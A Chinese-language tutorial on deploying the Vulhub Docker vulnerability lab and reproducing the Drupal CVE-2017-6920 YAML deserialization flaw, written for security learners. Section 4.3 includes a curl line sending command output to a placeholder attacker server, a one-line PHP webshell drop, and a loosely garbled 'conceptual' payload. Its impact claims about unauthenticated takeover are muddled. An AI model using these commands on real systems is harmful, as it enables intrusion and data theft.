1. 项目概述为什么我们需要一个本地化的漏洞靶场在网络安全的学习和实践中直接在生产环境或互联网上寻找漏洞进行测试是绝对禁止且违法的。这就催生了一个核心需求我们需要一个安全、可控、可复现的环境来练习渗透测试技术、研究漏洞原理。Vulhub正是为解决这个问题而生的一个开源漏洞靶场集合。它基于Docker容器技术将一个个真实存在的、影响广泛的CVE公共漏洞与暴露漏洞环境打包成独立的、一键启动的容器。对于安全研究员、渗透测试工程师甚至是开发人员来说Vulhub就像是一个“漏洞博物馆”和“实战训练场”。我最初接触Vulhub是为了复现一个经典的PHP对象注入漏洞CVE-2017-6920它影响Drupal 8.x版本。当时我需要一个能快速搭建、用完即抛的环境来验证漏洞利用链、编写检测脚本并理解其修复方案。手动搭建一个完整的Drupal 8环境并配置漏洞版本不仅步骤繁琐还容易因为环境差异导致复现失败。Vulhub完美解决了这个问题它提供了一个与官方漏洞描述几乎完全一致的“标本”环境。通过这个项目你不仅能学会如何搭建和使用Vulhub这个强大的工具更能深入一个具体漏洞CVE-2017-6920的复现全过程从环境启动、漏洞分析到最终利用获得一手实战经验。无论你是刚入门的安全爱好者还是想系统化练习的从业者这篇文章都将提供一份详尽的指南。2. 环境准备与Vulhub的部署在开始漏洞复现之前一个稳定、隔离的基础环境是首要条件。我强烈建议使用虚拟机来承载整个实验这能确保你的宿主机日常使用的电脑绝对安全避免因实验操作不当导致系统被意外入侵或污染。2.1 虚拟机与Linux系统选择我的选择是使用VMware Workstation或VirtualBox创建一台全新的Linux虚拟机。在Linux发行版的选择上Ubuntu Server LTS版本如20.04或22.04是首选。原因在于其广泛的社区支持、稳定的软件源以及Vulhub官方文档通常以其为例进行说明可以减少很多兼容性问题。为虚拟机分配至少2核CPU、4GB内存和30GB硬盘空间是较为充裕的配置能确保Docker和多个靶场容器流畅运行。安装完成后第一件事是更新系统并安装必要的依赖包。通过SSH连接到虚拟机进行操作是更高效的方式。sudo apt update sudo apt upgrade -y sudo apt install -y curl wget git vim2.2 Docker与Docker Compose的安装与配置Vulhub的核心依赖是Docker和Docker Compose。Docker负责创建独立的容器环境而Docker Compose则用于定义和运行多容器的应用Vulhub中的每个靶场都是一个docker-compose.yml文件。安装Docker Engine官方提供了便捷的安装脚本但为了可控性我更喜欢使用APT仓库安装。# 卸载旧版本如有 sudo apt remove docker docker-engine docker.io containerd runc # 安装依赖允许APT通过HTTPS使用仓库 sudo apt install -y ca-certificates curl gnupg lsb-release # 添加Docker官方GPG密钥 sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 设置稳定版仓库 echo \ deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 安装Docker引擎 sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin安装Docker Compose独立版本虽然Docker现在包含了docker compose插件但为了兼容性部分老教程或脚本可能使用docker-compose命令建议也安装独立版本。# 下载最新稳定版的Docker Compose二进制文件 sudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose # 赋予执行权限 sudo chmod x /usr/local/bin/docker-compose # 验证安装 docker-compose --version配置非root用户运行Docker重要安全与实践习惯默认情况下运行Docker命令需要sudo权限。将当前用户加入docker组可以免去每次都输入sudo的麻烦。sudo groupadd docker # 如果docker组已存在此命令会提示可忽略 sudo usermod -aG docker $USER执行此命令后必须完全注销并重新登录虚拟机或者重启虚拟机用户组更改才会生效。之后你就可以直接使用docker ps等命令了。注意将用户加入docker组等同于赋予了该用户root权限因为Docker可以挂载宿主机目录、操作内核特性。因此请仅在受信任的、用于实验的虚拟机上进行此操作。2.3 获取与部署Vulhub环境就绪后获取Vulhub就非常简单了它本身就是一个Git仓库。# 克隆Vulhub仓库到本地这个过程可能会稍长因为仓库包含了很多漏洞环境的文件 git clone https://github.com/vulhub/vulhub.git cd vulhub进入vulhub目录你会看到大量以漏洞软件或CVE编号命名的文件夹每个文件夹就是一个独立的漏洞环境。3. Vulhub基础操作与靶场管理成功部署Vulhub后掌握其基本操作流程是高效利用它的关键。整个流程可以概括为寻找靶场 - 启动靶场 - 访问测试 - 关闭清理。3.1 靶场目录结构与寻找目标Vulhub的目录结构非常直观。所有漏洞环境按字母顺序或软件分类排列在主目录下。例如我们要复现的Drupal CVE-2017-6920漏洞其路径通常为/drupal/CVE-2017-6920。如果你不确定漏洞的具体路径可以使用find命令或ls结合grep进行搜索。# 进入Vulhub根目录 cd vulhub # 方法一使用find命令精确查找 find . -type d -name *CVE-2017-6920* # 方法二浏览大致分类Drupal相关漏洞一般在/drupal目录下 ls -la drupal/进入目标漏洞目录后你会看到几个关键文件docker-compose.yml: 核心配置文件定义了服务如Web服务器、数据库、镜像、端口映射、环境变量等。README.md: 通常包含了漏洞简介、影响版本、启动方式、访问地址和简单的复现步骤。这是你第一个要仔细阅读的文件。其他文件可能包含漏洞利用脚本exp.py、自定义的Dockerfile或应用源码。3.2 启动、停止与销毁靶场环境Vulhub通过Docker Compose管理生命周期命令都在具体的漏洞环境目录下执行。启动环境这是最常用的一步。docker-compose up命令会读取当前目录的docker-compose.yml文件拉取所需的Docker镜像如果本地没有然后创建并启动容器。# 进入目标漏洞目录 cd drupal/CVE-2017-6920 # 启动服务。 -d 参数表示“后台运行”detached mode这样命令行不会阻塞。 docker-compose up -d执行后你会看到Docker开始拉取镜像如php:5.6-apache,mariadb:10等并启动容器。当命令执行完毕环境就在后台运行了。查看环境状态启动后如何确认服务是否正常# 查看由当前docker-compose.yml管理的容器状态 docker-compose ps # 或者使用通用的docker命令查看所有运行中的容器 docker psdocker-compose ps的输出会更清晰它会显示容器名称、状态以及端口映射关系。例如你可能会看到80/tcp - 0.0.0.0:8080这意味着容器的80端口映射到了你虚拟机的8080端口。停止与销毁环境实验完成后为了释放资源需要关闭环境。这里有不同级别的命令# 停止运行容器但保留容器和数据卷。下次可以快速启动。 docker-compose stop # 停止并移除容器、网络但保留数据卷和镜像。这是最常用的“重置”命令。 docker-compose down # 停止并移除容器、网络、数据卷但保留镜像。 docker-compose down -v # 停止并移除一切相关的资源容器、网络、数据卷、镜像。相当于完全重置到这个目录的初始状态。 docker-compose down --rmi all -v实操心得在日常练习中我通常使用docker-compose down。它移除了容器但保留了数据卷Volume这样下次up时数据库里的数据如已创建的用户、文章可能还在方便进行连续性的测试。而docker-compose down -v则会清空所有数据每次启动都是一个纯净的全新环境适合需要绝对干净环境的漏洞复现。请根据你的需求选择。3.3 访问靶场与信息获取环境启动后你需要知道如何访问它。端口映射信息可以通过docker-compose ps或docker port container_name查看。通常Vulhub的Web类靶场会将容器内的80端口映射到宿主机的某个高端口如8080, 8081。假设映射是0.0.0.0:8080-80/tcp那么访问方式如下在虚拟机本机打开浏览器访问http://localhost:8080在宿主机你的物理机需要知道虚拟机的IP地址。使用ip addr show或ifconfig查看虚拟机的IP通常是192.168.xxx.xxx或10.0.xxx.xxx然后在宿主机浏览器访问http://虚拟机IP:8080每个漏洞环境的README.md里通常会明确给出访问地址例如http://your-ip:8080请务必以该文件为准。4. CVE-2017-6920漏洞深度解析与复现实战现在我们以Drupal的CVE-2017-6920漏洞为例进行一场完整的漏洞复现实战。这个漏洞是Drupal 8.x系列中一个高危的远程代码执行漏洞源于对YAML解析器的错误配置。4.1 漏洞背景与原理剖析Drupal是一个强大的开源内容管理框架。在Drupal 8中它使用Symfony框架的YAML组件来解析配置文件。YAML是一种易读的数据序列化格式但它有一个危险特性如果解析器允许执行特定的PHP对象序列化函数如!!php/object攻击者就可能注入恶意对象在反序列化时触发代码执行。CVE-2017-6920的核心问题在于Drupal 8.3.x及之前版本中处理模块配置表单数据时错误地使用了不安全的YAML解析方式。具体来说在core/lib/Drupal/Component/Serialization/YamlPecl.php和YamlSymfony.php中默认的Yaml::parse()方法在某些配置下当Pecl YAML扩展未安装时Symfony的解析器会启用!php/object标签支持未能正确禁用对象反序列化功能。攻击链可以简化为攻击者找到一个可以提交YAML格式配置的地方例如某些模块的配置表单- 提交包含恶意序列化对象的YAML数据 - Drupal后端使用不安全的Yaml::parse()进行解析 - 触发PHP对象反序列化 - 执行攻击者定义的__destruct()或__wakeup()魔术方法中的恶意代码最终实现远程代码执行。4.2 靶场环境启动与初步访问首先我们进入漏洞环境目录并启动它。cd vulhub/drupal/CVE-2017-6920 docker-compose up -d使用docker-compose ps查看确认容器已运行并记下端口映射例如0.0.0.0:8080-80/tcp。在浏览器中访问http://your-vm-ip:8080。你会看到Drupal 8的安装界面。是的Vulhub提供的这个环境是一个未安装的Drupal这更贴近真实场景。我们需要先完成安装。选择安装语言English。选择安装配置文件Standard。进入数据库配置页面。这里需要填写数据库信息。这些信息在docker-compose.yml文件中已经定义好了。通常Vulhub的Drupal环境使用以下默认配置Database name:drupalDatabase username:rootDatabase password:rootHost:db(这是Docker Compose中数据库服务的服务名Docker内部网络会自动解析)填写后继续安装设置站点信息、管理员账号如admin/admin。等待安装完成。4.3 漏洞利用过程详解安装完成后以管理员admin身份登录。漏洞的触发点在于Drupal的“配置同步”功能或者某些第三方模块的配置表单。这里我们以利用“配置同步”功能为例这是最经典的利用路径。步骤一生成恶意序列化Payload我们不能直接写一个YAML文件而是需要构造一个能执行命令的PHP对象。网络上已有公开的利用链PoC。通常我们会利用Drupal内部的类比如GuzzleHttp\Psr7\FnStream类通过精心构造使其在反序列化时执行系统命令。由于手工构造复杂我们可以使用一个现成的Python脚本来生成Payload。在漏洞目录下可能已经存在exp.py如果没有可以搜索或自己编写一个简化的PoC。以下是一个概念性示例展示其核心思路# 这是一个概念性PoC实际利用链更复杂请勿直接运行。 import yaml import base64 # 利用Drupal中存在的类构造恶意对象链这里用伪代码表示 class MaliciousObject: def __reduce__(self): import os # 定义一个在反序列化时会执行的函数例如执行 id 命令 return (os.system, (id, )) # 将恶意对象转换为YAML格式并标记为PHP对象 # 实际有效的Payload需要针对Drupal 8.3.x中可用的具体类进行构造 payload !php/object \O:20:\\\GuzzleHttp\\\\Psr7\\\\FnStream\\\:2:{...}\ print(payload)实际上更可靠的方法是使用安全社区已经验证过的PoC脚本。你可以从可信的漏洞研究平台获取。步骤二将Payload植入配置在Drupal后台访问管理 - 配置 - 开发 - 配置同步(/admin/config/development/configuration。选择“单个项目”导出Export single item。在“配置类型”中选择一个简单的项例如“系统动作”System action或“视图”View。选择后你会看到该配置的YAML格式内容。关键操作将YAML内容复制出来用文本编辑器打开。找到其中某个简单的字符串值将其替换为我们生成的恶意YAML Payload。注意要保持YAML的整体结构合法。例如原本是label: Some Label你可能将其篡改为label: !php/object O:20:\GuzzleHttp\\Psr7\\FnStream\:2:{...}将篡改后的完整YAML内容保存为一个文件例如malicious_config.yml。步骤三导入配置触发漏洞回到“配置同步”页面切换到“导入”选项卡Import。在“配置类型”中选择与你导出时相同的类型。将malicious_config.yml文件的内容粘贴到“粘贴你的配置”文本框中。点击“导入”。如果漏洞存在且Payload有效在导入过程中Drupal后端在解析YAML时就会触发反序列化操作执行Payload中嵌入的系统命令。命令执行的结果可能不会直接显示在页面上但可能会在Drupal日志、服务器进程或通过外带信道DNS/HTTP请求体现。更直接的验证方法用于学习为了更直观地看到命令执行效果攻击者可能会构造一个能回显命令结果的Payload例如执行curl http://your-attacker-server/?result$(whoami)将执行结果发送到自己的服务器。或者在可控环境下可以尝试执行一个创建Webshell的命令如echo ?php system($_GET[c]);? /var/www/html/shell.php然后访问这个shell文件来验证RCE。注意事项在实际复现中请务必在完全隔离的虚拟机环境中进行。切勿使用此技术测试任何未经授权的系统。生成Payload和利用过程涉及对PHP序列化及Drupal内部类的深入理解对于初学者建议先使用社区已验证的、无害的PoC如执行echo test进行验证理解流程后再研究复杂Payload。4.4 漏洞修复与影响分析Drupal官方在收到报告后迅速发布了安全更新Drupal 8.3.4。修复方案的核心是强制在YAML解析过程中禁用对象反序列化功能。修补代码显式地传递了禁止对象反序列化的标志给Symfony YAML解析器。这个漏洞的影响非常严重因为它允许远程攻击者在未认证的情况下结合其他利用链或低权限用户拥有配置导入权限完全接管网站服务器。它再次警示了开发中安全配置的重要性特别是处理用户可控的序列化数据如YAML、JSON、XML时必须严格验证和过滤禁用危险功能。5. Vulhub进阶使用技巧与问题排查掌握了基础复现后一些进阶技巧和常见问题的解决方法能极大提升你的效率。5.1 自定义配置与调试技巧修改端口映射如果默认的8080端口已被占用你可以直接编辑漏洞目录下的docker-compose.yml文件。# 修改前 ports: - 8080:80 # 修改后例如改为8088端口 ports: - 8088:80修改后需要重启环境docker-compose down docker-compose up -d。进入容器内部进行调试有时为了查看日志、修改文件或进行更深入的调试需要进入正在运行的容器。# 首先查看容器名称 docker-compose ps # 假设容器名为 drupalce-2017-6920_web_1 # 使用 exec 命令进入容器内部的bash shell docker-compose exec web bash # 或者使用容器ID/名 docker exec -it drupalce-2017-6920_web_1 /bin/bash进入后你就像登录了一台独立的Linux服务器可以查看应用日志如/var/log/apache2/error.log、修改代码、安装调试工具等。查看容器日志日志是排查问题的第一手资料。# 查看由docker-compose管理的所有服务的日志 docker-compose logs # 实时跟踪日志输出类似 tail -f docker-compose logs -f # 查看特定服务的日志 docker-compose logs web5.2 常见问题与解决方案实录在长期使用Vulhub的过程中我积累了一些典型问题的解决方法。问题1执行docker-compose up -d时提示Cannot connect to the Docker daemon。原因Docker服务未启动或者当前用户没有加入docker组。解决启动Docker服务sudo systemctl start docker。将用户加入docker组后务必注销并重新登录。检查Docker服务状态sudo systemctl status docker。问题2启动靶场时长时间卡在Pulling镜像阶段或者拉取失败。原因网络连接Docker Hub不稳定或速度慢。解决配置国内镜像加速器。编辑/etc/docker/daemon.json文件如果不存在则创建{ registry-mirrors: [ https://docker.mirrors.ustc.edu.cn, https://hub-mirror.c.163.com ] }重启Docker服务sudo systemctl restart docker。再次尝试docker-compose up -d。问题3访问http://ip:port时连接被拒绝或无法访问。原因排查步骤确认容器是否运行docker-compose ps状态应为Up。确认端口映射docker-compose ps或docker port container_name检查宿主机IP和端口是否正确。检查虚拟机防火墙Ubuntu默认的UFW防火墙可能阻止了端口。可以临时关闭测试sudo ufw disable实验环境可接受生产环境请谨慎。或者放行特定端口sudo ufw allow 8080/tcp。检查宿主机与虚拟机网络确保宿主机能ping通虚拟机IP。在VMware/VirtualBox中检查网络适配器设置是否为NAT或桥接模式。问题4Drupal安装时数据库连接失败。原因数据库容器未完全启动或连接信息错误。解决确保数据库容器也在运行docker-compose ps应看到db服务。检查数据库容器的健康状态docker-compose logs db查看有无错误日志。确认连接参数主机名Host必须填写db这是Docker Compose网络中的服务名而不是localhost或127.0.0.1。用户名、密码、数据库名参考该漏洞目录下docker-compose.yml文件中的environment部分定义。问题5漏洞复现失败没有达到预期效果。原因可能是Payload构造错误、Drupal版本不对、或利用路径不正确。解决仔细阅读README.mdVulhub的README通常提供了已验证的复现步骤或PoC链接。检查Drupal版本在管理后台报告页面(/admin/reports/status)确认版本号是否在受影响范围内Drupal 8.x 8.3.4。使用已验证的PoC从Exploit-DB、GitHub等平台搜索“CVE-2017-6920 PoC”使用成熟的脚本。开启调试模式进入Drupal容器编辑sites/default/settings.php设置$config[system.logging][error_level] verbose;并确保$settings[container_yamls][] DRUPAL_ROOT . /sites/development.services.yml;已启用。查看/var/log/apache2/error.log和Drupal的watchdog日志(/admin/reports/dblog)寻找错误信息。简化测试先尝试一个最简单的Payload比如只触发一个无害的操作如写一个测试文件确认利用链是否通畅。6. 构建系统化的漏洞研究学习路径Vulhub不仅仅是一个工具更是一个体系化的学习平台。如何高效利用它构建自己的知识体系第一步按漏洞类型分类学习。Vulhub涵盖了Web漏洞SQLi、XSS、RCE、反序列化、系统漏洞、中间件漏洞、数据库漏洞等。你可以制定计划每周攻克一个类型。例如第一周专门复现Apache Struts2系列漏洞S2-045, S2-046, S2-048等理解Java Web框架的漏洞模式。第二步从低危到高危从简单到复杂。不要一开始就挑战最复杂的漏洞。可以从一些经典的、利用步骤简单的漏洞开始比如PHP反序列化CVE-2016-7124、ThinkPHP 5.x RCE等。建立信心和基础操作流程后再研究需要二进制分析、内存破坏的漏洞。第三步结合源码分析与动态调试。Vulhub提供了漏洞应用的源代码在容器内或通过映射。在复现时不要只满足于运行PoC拿到shell。要结合漏洞公告CVE描述、修复补丁Git commit diff去阅读相关的源代码文件理解漏洞的根因。对于PHP/Java漏洞可以尝试在容器内安装Xdebug等调试工具进行单步跟踪亲眼看到程序是如何走到漏洞触发点的。第四步尝试编写自己的检测脚本或利用工具。在理解原理后尝试用Python、Go或你熟悉的语言将手动复现的过程自动化。编写一个简单的漏洞检测脚本甚至是一个更稳定的利用工具。这个过程能极大地加深你对漏洞细节的理解。第五步参与社区与分享。Vulhub是一个开源项目你可能会在复现过程中发现某个环境配置的小问题或者README中的笔误。可以向其GitHub仓库提交Issue或Pull Request。将你的复现笔记、分析文章分享到博客或安全社区与他人交流能获得更快的成长。最后我必须强调法律与道德的底线。所有在Vulhub上的学习与研究必须严格控制在你自己搭建的本地实验环境中进行。这些技术是一把双刃剑安全从业者的价值在于利用这些知识去保护系统而非破坏。保持好奇心深耕技术同时时刻怀有对法律的敬畏之心这样才能在安全的道路上走得更远、更稳。